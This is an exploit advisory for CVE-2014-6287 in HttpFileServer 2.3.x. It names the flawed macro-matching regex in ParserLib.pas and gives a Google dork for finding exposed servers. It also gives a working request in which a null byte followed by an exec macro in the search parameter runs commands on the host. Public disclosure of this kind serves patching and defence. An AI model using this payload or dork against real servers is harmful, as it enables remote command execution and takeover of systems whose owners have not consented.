Affected software: http://sourceforge.net/projects/hfs/
Version : 2.3x

Exploit Title: HttpFileServer 2.3.x Remote Command Execution

Google Dork: intext:"httpfileserver 2.3"

Date: 11-09-2014

Remote: Yes

Exploit Author: Daniele Linguaglossa

Vendor Homepage: http://rejetto.com/

Software Link: http://sourceforge.net/projects/hfs/

Version: 2.3.x

Tested on: Windows Server 2008 , Windows 8, Windows 7

CVE : CVE-2014-6287

issue exists due to a poor regex in the file ParserLib.pas

function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;

it will not handle null byte so a request to

http://localhost:80/search=%00{.exec|cmd.}

will stop regex from parse macro , and macro will be executed and remote code injection happen.